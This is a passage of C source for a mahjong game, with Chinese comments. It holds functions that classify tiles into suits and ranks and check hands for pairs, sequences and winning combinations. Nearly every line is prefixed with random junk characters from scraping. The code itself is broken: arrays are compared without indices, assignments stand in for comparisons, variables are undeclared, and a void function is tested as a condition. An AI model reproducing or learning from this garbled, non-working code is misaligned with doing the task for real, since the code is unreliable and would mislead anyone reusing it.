5 q( t  O, _" V3 k0 j% Vb--;
. f; k" ?, j/ R2 R+ P- ~8 V* A}
+ a2 N! I" V1 k/ Z  U}
3 X0 J8 B# h2 Pf=0;
while(f&lt;computer.m) /*吃的判断*/
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
{
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
if(ch[f].lgg-logoo==1)
{
gp++;
computer.pp[f].c=1;
computer.pp[f+1].c=1;
& Y& b; X- V) O8 Y7 t. @4 V! }}
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
if(ch[f+1].lgg-logoo==-1)
' |* V" L2 L, J{
gp++;
computer.pp[f].c=1;
computer.pp[f+1].c=1;
}
if(ch[f].lgg-logoo==-1) /*中吃*/
if(ch[f+1].lgg-logoo==1)
. R9 L( {7 X" w! y/ B{
( S" L% b2 x/ o% agp++;
computer.pp[f].c=1;
computer.pp[f+1].c=1;
( M/ E8 G/ g- O. j) M; v" n) f}
; `  i1 C2 Y/ Fif(gp==1)
/ U! b: M2 Y: R# M2 {" [break;
}
# v$ L3 g) k! m" ^& P3 ~3 i- Ef++;
}
% D2 I. R, p, y# m( R3 sif(gp==1)
, E7 r: r* f  S' k5 r{sing=7;

' k5 |; P( a) I; q/ c$ q}
- E, r9 o8 m9 V$ y+ A) t3 bpg=0;
2 n7 e. H4 N- |0 v  Xgp=0;
b=0;
$ C5 @* ], V' ]/ `) B4 u}
. g- E' v8 R$ t5 d- Mvoid rgznme(int c) /*本程序涵数的核心针对我的牌*/
, z3 k" f. b1 z3 I# v. D{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
% R+ u8 c" Q! E4 K{
; o! N& \; t" Alogo=1;
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
logoo=1;
+ f$ [; l$ I  \+ M9 ~* E5 Xelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
logoo=2;
, a( A( D3 W/ p8 W2 `9 xelse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
! m; e% ?5 a0 N: ylogoo=3;
% P, T' m& R5 L; E& _+ W, r  Lelse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
" S; Q" R( V- t7 U3 F% ^: R4 M7 glogoo=4;
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
, `: K, R" m! m! @6 f$ q1 zlogoo=5;
/ ]9 [, A* \* }9 c; celse if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
logoo=6;
5 i# C& X3 h) F5 s# u6 V9 e0 ^1 G# [else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
8 w/ M, g* s% q& r% D2 _logoo=7;
5 Z# H' k( L3 Felse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
logoo=8;
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
logoo=9;
}
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
3 N$ K, {0 }( D: Z9 }" Y4 f/ h2 B{
" f' f5 u( i9 Q- u3 ylogo=2;
7 e+ T' t$ P4 h6 u3 m7 m) i, [if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
7 C7 ~  K) V! ?  H5 [+ Ilogoo=1;
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
9 {" S; V: i" p/ y. O: }/ O$ F' ]logoo=2;
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
- ]6 d+ O5 }/ D0 r5 e( Slogoo=3;
* x% G/ Z& f, [: e1 H6 Q& [else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
logoo=4;
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
logoo=5;
else if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
* w$ G& n' [. j( z: ]& f0 L1 s! Klogoo=6;
2 a) j+ w( U' M3 f7 @else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
1 h! p. A' O/ J4 v4 ^4 clogoo=7;
$ o' {( F. q9 z' Z/ Welse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
: ^5 J( a6 r1 E* alogoo=8;
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
9 P! A! O0 x) p% J* H% qlogoo=9;
}
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
{
logo=3;
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
/ P9 S+ [6 r) M! y# t! w' U6 S# Jlogoo=1;
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
logoo=2;
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
+ G' V: O: C5 w  g0 t8 ?logoo=3;
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
$ Y5 O! g0 H6 tlogoo=4;
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
6 n8 @5 C, i$ C1 N! X5 R, h3 ologoo=5;
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
logoo=6;
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
$ x1 a/ D! g) p) v1 X* Tlogoo=7;
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
logoo=8;
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
logoo=9;
; I4 a- i( p) ]8 Z/ V+ c8 X2 a}
" {# r8 p, F. `( R( ?+ ?else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
{
* V; w+ M/ F+ l0 v1 c, ^/ B3 R* jlogo=4;
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
2 V2 i( R0 X5 m' u# Plogoo=1;
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
logoo=2;
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
logoo=3;
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
2 p2 b+ \. a" t, `. flogoo=4;
# W/ I% I+ Q% l- V3 f7 U) s, jelse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
0 v7 z0 `1 O8 p2 J" f$ X8 C) ~; n9 Vlogoo=5;
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
. b$ Y" F; N: \4 M4 d" llogoo=6;
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
# t3 g4 i/ }! t' V: Ulogoo=7;
# O' m2 T& `8 U) U# [) M7 B; S9 \, h& G}
while(b&lt;=me.m)
{
0 t' ?. E9 Q4 d6 o9 Y' J' lif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
{
lg=1;
( k6 h0 Y' S1 `$ j8 I' Vme.pp.d[0]=1;
: d& F% q. s) n6 |: b, g& Qif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
9 H3 P# ~1 ]+ W$ I, [4 D1 I4 ^{
lgg=1;
me.pp.d[1]=1;
1 N5 s+ I+ C0 |4 g5 B}
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
; A) I2 B4 M  y* b9 Z& W) f{
lgg=2;
me.pp.d[1]=2;
4 E, a# l+ C! |}
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
9 u9 z( z( P9 P' z{
lgg=3;
) I' ]7 ]# A& y7 W4 ?2 Mme.pp.d[1]=3;
2 j0 V7 P+ ], V5 y' V" |}
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
{
4 G6 I0 p; \% a5 L- m" glgg=4;
me.pp.d[1]=4;
* S. A  E& R" ^$ p5 |}
8 w' R* n+ j% F) G" selse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
. p6 P" z( Q3 c) J+ [. {{
2 A) V* _4 T8 @$ U  `. M4 q! h$ Elgg=5;
/ z8 F' Z( V4 W5 H5 Zme.pp.d[1]=5;
}
7 H/ N) G, V0 R0 r6 H4 Helse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
{
0 ^$ B7 {9 T" }- elgg=6;
( T8 @7 d8 I0 a/ n7 {- ?me.pp.d[1]=6;
}
. Q3 E/ T7 x8 p: Z" v+ Felse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
{
$ R% G' `8 V1 F& {lgg=7;
) m! ?5 R5 O2 Ime.pp.d[1]=7;
}
- y& X$ n& Y" u% @1 W4 celse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
{
lgg=8;
me.pp.d[1]=8;
+ Q$ @6 ?8 T& g6 z}
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
{
lgg=9;
me.pp.d[1]=9;
}
}
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
{
lg=2;
3 b" T) y7 {# x$ O! Gme.pp.d[0]=2;
) c) g, S2 {8 q% O* D2 l7 J0 eif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
+ ?4 E8 |# B2 U  e2 M: _4 b{
lgg=1;
0 \7 F3 U$ N* W6 @0 x/ rme.pp.d[1]=1;
2 {- G8 s; o; u& Y}
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
+ ?& I! {" X0 v- G; C{
( U1 F6 ?8 Q3 }9 i% U) K  Clgg=2;
me.pp.d[1]=2;
1 p5 T& ^. r% F9 i1 L2 c}
: h2 T7 o/ F+ Q9 w  ^" j# y2 Celse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
{
5 w" w  l7 K5 Z5 A( N3 n  y0 N8 ]lgg=3;
me.pp.d[1]=3;
3 c4 {5 `7 o7 ?' w. ]/ o}
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
{
: q0 K2 r2 x- t3 ]lgg=4;
  q- i4 |# K" `, t* U: s9 fme.pp.d[1]=4;
9 f3 l" `* I% B2 e6 M! y}
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
1 @# G0 K/ i8 L8 n  G9 O. v# U{
lgg=5;
" R0 f9 e& X# Z- E  N7 g9 Cme.pp.d[1]=5;
}
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
- Z. l0 E1 [  p9 ]  b$ }{
lgg=6;
+ |  T+ v, l" c4 ame.pp.d[1]=6;
$ h1 p8 |( A8 M}
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
+ j$ y: w4 o. ]& _0 L7 v& N{
lgg=7;
me.pp.d[1]=7;
" C( m9 Q+ z/ T/ U( i}
1 u0 k9 W( t+ \1 D0 gelse if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
$ h6 p' H+ n/ y& B: I$ {{
' T4 [/ i" E# i* u" ulgg=8;
5 `/ i8 W( D% }me.pp.d[1]=8;
}
3 {; D7 l6 p( O: D* B) Q: \% yelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
{
lgg=9;
" O- C8 _; W2 R1 n+ r$ Wme.pp.d[1]=9;
  K8 q1 C# A+ z# p6 x- t}
& K) Y* @# k" I# D$ b}
- C% \& U( s4 belse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
4 c' o7 z; f0 F3 H( I{
1 I  Z+ ]6 s9 X' Blg=3;
me.pp.d[0]=3;
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
{
, {8 d0 Q1 ?2 C9 d( l/ klgg=1;
me.pp.d[1]=1;
}
. ]$ \, e; v8 y4 Selse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
. R: O- s/ t; {5 F+ Q( e' b{
lgg=2;
me.pp.d[1]=2;
}
) r! D/ v) p: h3 `" Relse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
' u/ E8 P, ?" E1 a( d" l1 G{
lgg=3;
2 S5 c2 b0 l' J1 U: t5 ~me.pp.d[1]=3;
}
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
3 T$ m0 L8 m7 m# }! d% A' h{
lgg=4;
+ X6 {; K) |/ Y% L: M+ \me.pp.d[1]=4;
: _8 T; _3 t. N4 J$ q7 W. K5 E}
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
$ d& {0 c7 n- `1 n{
9 A8 i9 n& f! B% zlgg=5;
( F' l- W: G" S! |* ?6 Jme.pp.d[1]=5;
}
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
{
lgg=6;
me.pp.d[1]=6;
: {: |; o. i* V& k3 e5 b}
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
* O: h4 `; {# u( x6 A: o{
lgg=7;
me.pp.d[1]=7;
& r3 _; t0 w7 S: x2 Q8 x}
# C8 Y$ }. \+ o9 }+ Ielse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
6 J& [, A1 o" i# T. ?7 q8 ~' b& ]+ I! G{
7 g$ [. O3 P* A4 _( ylgg=8;
me.pp.d[1]=8;
5 a' `3 h& y$ m" k; n}
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
{
. [; G1 e$ ~' d+ ~' r# j) blgg=9;
6 \4 m% S3 a- w; }8 Nme.pp.d[1]=9;
1 {0 a7 b" T7 a; P}
}
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
, v4 b' o* l/ W9 O* ^% H{
. E5 ]) O+ A4 _% Jlg=4;
6 s- V6 M0 c6 _, n& v  |; ?7 Jme.pp.d[0]=4;
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
{
/ Z) n/ U. O7 {- Glgg=1;
% U' A/ H5 r% T, F: q0 gme.pp.d[1]=1;
}
! D( J) A8 a0 aelse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
{
lgg=2;
% @- j% t/ w# {+ {. s9 Cme.pp.d[1]=2;
; W; e6 X, y) ?) B  P2 w% J( ]}
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
* C+ m" U- c* o* q$ L8 Q2 v! m0 w{
lgg=3;
me.pp.d[1]=3;
}
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
{
# i4 q( H" R0 l* Y! U! `4 [8 Ulgg=4;
4 f; k  i! `  b% |. a/ Xme.pp.d[1]=4;
4 p: R6 ]9 p0 t3 k}
5 U4 k9 Y  T- ]else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
{
* ~# R9 f/ V* Y2 ]6 B  flgg=5;
( ]1 i0 M9 m. q& Qme.pp.d[1]=5;
7 P! J5 v) M- F) `}
. y4 {" H, T3 j; a% D  W, {1 Welse if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
' j) F) o: }) s5 b3 d  g{
lgg=6;
8 E% V, u1 ?9 `/ G" Vme.pp.d[1]=6;
. V# x8 k% {0 y" o1 F! @  h}
* `# \' ~4 ?. y' B- V# p: Relse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
{
( Y! S3 ]9 O& Nlgg=7;
& B% H" L) j- q/ W; J, Lme.pp.d[1]=7;
}
- m( ]/ _/ @0 ~8 w+ p}
}
}
void istwo(testt)
5 |& U- T5 i) n. sint testt[];
/ Y( I+ l  v/ e" A/ X7 h/ s# X{ if(testt[0]==testt[1])
second++;
- R8 x2 l& M# X9 u}
7 O* |7 a% I. n7 Qvoid isthree(testt,n)
' s7 q' h6 T: X! _4 z- Q) Zint testt[],n=0;
/ V1 s9 v: M1 o2 B9 ~' B{ int i,j,flage=0,lianx=0,same=0;
n=n/3;
0 X, Y# {5 O  a/ d8 l* nfor(j=0;j&lt;n;j++)
{
for(i=j*3;i&lt;2+j*3;i++)
{
if(testt==testt[i+1])
8 c/ a8 r: Q4 x- _7 H' [same++;
7 }: q2 @+ k/ J5 X# fif(testt[i+1]-testt==1)
lianx++;
}
if(same==2)
threes++;
if(lianx==2)
6 e5 ~: |" t# |5 s9 w8 rthrees++;
same=0;
lianx=0;
}
- c7 e2 ^! R$ r}
; z$ N1 [* g3 ~' k$ ], Lvoid panduan() /*本程序的精髓*/
{int data[14];
6 ]; b# ]' F# Y( q; w3 E% r: wint pw[14];
int pt[14];
int pi[14];
int pf[14];
# ~' a+ M6 q+ ]$ @" L2 _, ?5 z, |int test[12];
7 d) t0 D6 l& B- }7 lint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
% K5 b8 w) s) z% f- `for(jj=0;jj&lt;=me.m;jj++)
0 L" R" @" n1 @5 N{
if(me.pp[jj].d[0]==1)
4 n7 i2 D: H! O, Q2 D1 V% wdata[jj]=me.pp[jj].d[1];
- m5 I4 {& U, ~& T6 }0 K1 e0 Oif(me.pp[jj].d[0]==2)
; S3 ?1 Y% r, N. B" E) vdata[jj]=me.pp[jj].d[1]+10;
8 S9 N7 Q& M3 \- }6 |if(me.pp[jj].d[0]==3)
# |  m8 a: b9 M# @% I5 V+ J1 N5 b8 cdata[jj]=me.pp[jj].d[1]+20;
if(me.pp[jj].d[0]==4)
8 b* @' e0 ^' e1 }/ s/ o; V& Vdata[jj]=me.pp[jj].d[1]+30;
}
if(logo==2)
w=logoo+10;
" H2 t7 k& }; G% R- S) U5 dif(logo==3)
2 A& k+ A, j3 t, C$ ~- `( O1 N( V8 Z& gw=logoo+20;
$ z" Q, q+ z. a7 A; bif(logo==4)
$ k! c2 J6 l$ B; vw=logoo+30;
data[computer.m+1]=w;
for(mm=0;mm&lt;=computer.m;mm++)
( S4 K. w6 S: @; z- A4 ]for(nn=mm;nn&lt;=computer.m;nn++)
( O2 ?% Y+ p0 o/ v: cif(data[mm]&gt;data[nn+1])
{
tpp=data[mm];
data[mm]=data[nn+1];
$ r4 B. u  o* idata[nn+1]=tpp;
}
lp=0;
while(lp&lt;=computer.m)
( W* Z" b* C  W, d+ }{ if(data[lp]&lt;10)
: Q; _3 ?6 U! _7 f  I% f% y; N6 wpw[ww++]=data[lp];
: z3 C2 U1 ~+ ~2 \, P8 kif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
/ o! M; |0 K+ ?9 c+ K6 t; upt[tt++]=data[lp];
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
. r  W" g; j- s9 epi[ii++]=data[lp];
. [0 I) }8 N6 y' |7 x6 o# aif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
pf[ff++]=data[lp];
. d9 k' M+ L7 X7 \/ ~: H3 ilp++;
}
2 ?  ]/ }! {( \6 _if(ww==2)
: T  I% d# I5 s  x7 ^* o% V* sistwo(pw);
8 L+ Z# V+ h/ Z) Y0 R. `else if(ww==3)
isthree(pw,ww);
else if(ww==5)
/*pw[5]原始牌数组，假设已经升序排列*/
  X, h4 r, Y; Q/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
4 ^' u8 B: |$ Z8 n6 W{
" _) N( @' }& A+ J# H2 D6 zfor(j=0;j&lt;2;j++)
{test[j]=pw[i+j];
- ?  |- H+ L2 V! c7 n$ W}
( p8 {* \# b; ?+ |0 ^$ T, ]if(istwo(test))
+ J2 \) D% a0 B+ G1 ~( \/ ^{ ill=0;
+ l5 b& o4 r. l( ^5 x' a3 tfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
{
/ ~% C6 T  m  a# {# Hkl=kl+2;
" v. j# C) ]8 x) Kif(kl==5)
break;
: A+ x/ Y; r: F}
test[ill++]=pw[kl];
}
isthree(test);
3 w* R3 R  v/ Q' R}
5 @+ ]4 p' U: }3 O+ @}
/ P6 s0 U$ U" q' Y8 I4 Jelse if(ww==6)
  a, w! c  w7 tisthree(pw,ww);
% c( U3 R. I5 B( Helse if(ww==8)
# J6 c( b5 f8 ofor(i=0;i&lt;7;i++)
{
; r3 M. f1 @/ W- |  e% g) A9 sfor(j=0;j&lt;2;j++)
{test[j]=pw[i+j];
}
3 w: z" x* _( t: F1 dif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
; U* |: B9 a' X  Z4 G2 Z! z. g{
kl=kl+2;
if(kl==8)
break;
}
. H2 F' X) o7 b# ?test[ill++]=pw[kl];
1 N; m) G+ b4 B6 S5 D0 ]}
isthree(test,ww-2);
) I- c; B9 f9 P- o2 H# ]( [}
; n" Q) K% A# b6 S' m$ ?& q}
: h- }  j; Z; Relse if(ww==9)
8 ?( k9 r1 K7 U' visthree(pw,ww);
else if(ww==11)
7 I- S% x8 g, G- T; v# m% W9 E! Vfor(i=0;i&lt;10;i++)
{
9 ~/ A+ a  j. V; T* j  L. ^0 j8 ffor(j=0;j&lt;2;j++)
{test[j]=pw[i+j];
}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
1 e) R7 E+ U1 k, r6 [/ w{
% ?/ X& l6 \8 B9 M. ]+ l5 Kkl=kl+2;
9 v( c* T$ ~. y  C1 Yif(kl==11)
break;
}
6 e; u( z: \9 D: Y7 btest[ill++]=pw[kl];
}
isthree(test,ww-2);
% W$ d5 v* P2 |6 ^$ x}
5 W  z! A5 G/ Q}
else if(ww=12)
* Z* q( N$ |7 pisthree(pw,ww);
else if(ww=14)
for(i=0;i&lt;13;i++)
{
7 g$ N0 {$ ^* }) Zfor(j=0;j&lt;2;j++)
2 b; _: ]" E3 N0 T& Q1 L( ~{test[j]=pw[i+j];
}
- B2 n* |, X* z) e( y  Jif(istwo(test))
{ ill=0;
- ^. \( k+ H3 Lfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
6 r/ p& v1 P1 ]! P8 ^" P{
kl=kl+2;
2 M- n$ n- Z$ M" L* O, ?- O. Xif(kl==14)
8 D9 {* L# _: ?% d, q1 Z6 S- sbreak;
. I% F% s2 y; F  Z, z; ^4 O2 A9 h}
test[ill++]=pw[kl];
3 b: N8 r- E3 v1 Q5 z}
+ \" H4 v0 T( u; Z3 Z3 ]( e  }isthree(test,ww-2);
}
}
& @+ S7 }* V$ \+ Q* R* Z! @) f% Dif(tt==2)
istwo(pt);
else if(tt==3)
isthree(pt,tt);
3 l  |& ?5 v% ]. D, P9 ]9 d8 N. J* ^else if(tt==5)
, ~- }% Q, @& P/ p! d/*pt[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
( }9 a- r  L$ r% _$ u. \: a* tfor(i=0;i&lt;4;i++)
{
* T6 h3 W, c3 Afor(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
4 ^9 S8 T$ U) }# z6 c9 P2 v2 j/ s}
: Z" b4 G  f7 C! }4 gif(istwo(test))
{ ill=0;
- k, Y- G+ x) @  |2 P- ~+ ffor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
2 U0 {4 B* e' G$ E* V{if(kl==i)
/ Q8 Q4 s& L" v# L! M' j{
, E( Y6 W4 X5 K# Ykl=kl+2;
if(kl==5)
, E: f. [+ r6 r  K0 I' _break;
9 U0 {9 D7 u$ m  b7 [" A6 i}
# ]$ d; D$ N; Z  E! Atest[ill++]=pt[kl];
7 @, _4 Z  d: t% p! u, H8 x}
isthree(test);
}
, M. _* O* _9 E& Z. F}
$ `5 Q5 ~+ a* i: l2 U0 M  Jelse if(tt==6)
isthree(pt,tt);
else if(tt==8)
8 [" W; ~# O. w% R8 b7 T4 U" G; zfor(i=0;i&lt;7;i++)
2 b" t  f: A9 k3 O{
! }5 a3 F' C$ K9 c. e# l5 Afor(j=0;j&lt;2;j++)
6 d. L' K; A1 y: n2 j; D, f' }{test[j]=pt[i+j];
: u' ?* j; d0 d$ z}
. Z9 o$ P& T0 q# r" [' mif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
5 N5 E" d5 _3 }( E) T$ C1 q{if(kl==i)
5 Z+ M4 U- [8 n) g5 V{
7 b6 e0 j- ~9 Xkl=kl+2;
if(kl==8)
break;
}
2 F6 ]. M, W8 xtest[ill++]=pt[kl];
}
+ ?3 L0 H3 n: h2 |3 Listhree(test,tt-2);
}
! T( j5 \; J. J  p, |2 f2 n}
else if(tt==9)
isthree(pt,tt);
8 G3 _4 x$ o/ @2 lelse if(tt==11)
3 p; e- A, a! \) h8 M! p: |. U4 }3 Nfor(i=0;i&lt;10;i++)
% {3 |5 ~% K- Y7 p2 o+ Z* ~{
6 h9 {: g/ C% b. w3 Vfor(j=0;j&lt;2;j++)
! q# p; V5 E. e3 p  J( Q. b. m{test[j]=pt[i+j];
+ t0 Z3 c; j4 K) o4 B8 {8 @: f}
6 s' T; Z4 u2 V' i: `) s" ]if(istwo(test))
{ ill=0;
& {( [! N& I. j  C, E0 e/ Qfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
8 U) Q; G+ W+ X/ }kl=kl+2;
if(kl==11)
, d: Y+ |+ S  g. w' F: jbreak;
}
9 C0 ?# ?( U" Ktest[ill++]=pt[kl];
5 Y! L# O$ s. p0 F( W4 e1 U8 j' S}
isthree(test,tt-2);
}
. {: d* P& S5 X- O" c8 t# v}
1 |5 G* [. @  m" u8 x( [else if(tt=12)
isthree(pt,tt);
$ M  u6 u" X7 }) z6 y4 D4 Helse if(tt=14)
) Z5 Q/ Z/ x/ q7 j+ v' C& Rfor(i=0;i&lt;13;i++)
{
! R0 [& g* g; d( Y+ q" {. [1 _9 Ufor(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
}
& {6 E4 o- s( Q/ m, kif(istwo(test))
{ ill=0;
' @" Y. ]. r; Q2 H/ Ffor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
, K4 p. |% j8 {) x{if(kl==i)
{
( k" }% U+ D0 Xkl=kl+2;
' v# e1 O& j( u; E- U3 n* C- w3 C1 aif(kl==14)
break;
: @5 ~/ v, U! [$ H' }" y}
test[ill++]=pt[kl];
}
! R5 K! N9 \  Z% l+ V& I2 {isthree(test,tt-2);
- F) U0 V- U2 z: ]8 @}
}
if(ii==2)
istwo(pi);
* n+ A1 b* E4 {: D7 ]5 ^) J+ ^) Helse if(ii==3)
0 g+ _. y% l& X5 iisthree(pi,ii);
else if(ii==5)
/ N) y( j' r0 o0 B: |% `# H/*pi[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
: \# l% \0 g* [. ]- h: w- gfor(i=0;i&lt;4;i++)
{
( }. P; Q* }) y. Pfor(j=0;j&lt;2;j++)
; U0 N: K; x3 w+ i6 c{test[j]=pi[i+j];
}
if(istwo(test))
/ w% R, a: k3 y* B& g/ A6 l{ ill=0;
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
3 M9 c9 W: y% J, G; C2 F* c{if(kl==i)
6 l! t* J5 _0 o7 g6 ^1 E{
& x4 ?# M) f+ c- v. K2 okl=kl+2;
8 Q1 m# @  k5 @/ mif(kl==5)
break;
}
3 g5 l2 L0 t, Y# w2 E% ~6 Gtest[ill++]=pw[kl];
}
" O% g1 f' d# N  `isthree(test);
0 a- Z! }! p- {}
}
else if(ii==6)
; f0 W( ]4 L) K/ H0 o8 b& |7 q/ x5 A- ^isthree(pi,ii);
else if(ii==8)
2 B) o3 T# |/ C2 k3 Nfor(i=0;i&lt;7;i++)
{
9 W5 H7 i8 {5 Q3 ffor(j=0;j&lt;2;j++)
7 [4 \( V, u. I* g+ k; Y$ `- Q9 y- {{test[j]=pi[i+j];
}
if(istwo(test))
/ E/ Q. ^0 O/ `/ x4 i; a{ ill=0;
5 j" t5 \# l# a  [for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
' F) ^" H/ M8 M- J5 m: a{if(kl==i)
7 ^: i! H! B9 H2 g$ k) T5 `{
4 ~1 A3 r# p, v- {% @kl=kl+2;
if(kl==8)
- F- B7 p9 J2 X! r( i: D$ sbreak;
}
test[ill++]=pi[kl];
}
isthree(test,ii-2);
}
  h! B! T5 [4 l+ F3 a}
else if(ii==9)
' E# l3 i, V9 i2 y& y  o9 ?# Aisthree(pi,ii);
else if(ii==11)
for(i=0;i&lt;10;i++)
2 |, @7 c0 @$ f( P9 D( R{
for(j=0;j&lt;2;j++)
4 ^" Q8 v3 w; A& W/ T9 j2 Y7 B5 H{test[j]=pi[i+j];
, ~0 }8 n+ k( ^$ l( k) `& H}
/ F+ ]( F+ _) y0 k1 [if(istwo(test))
{ ill=0;
( b9 E% Z* F7 J1 J( t" Y' j3 L, wfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
- J% D9 ~$ |; h' ]{if(kl==i)
{
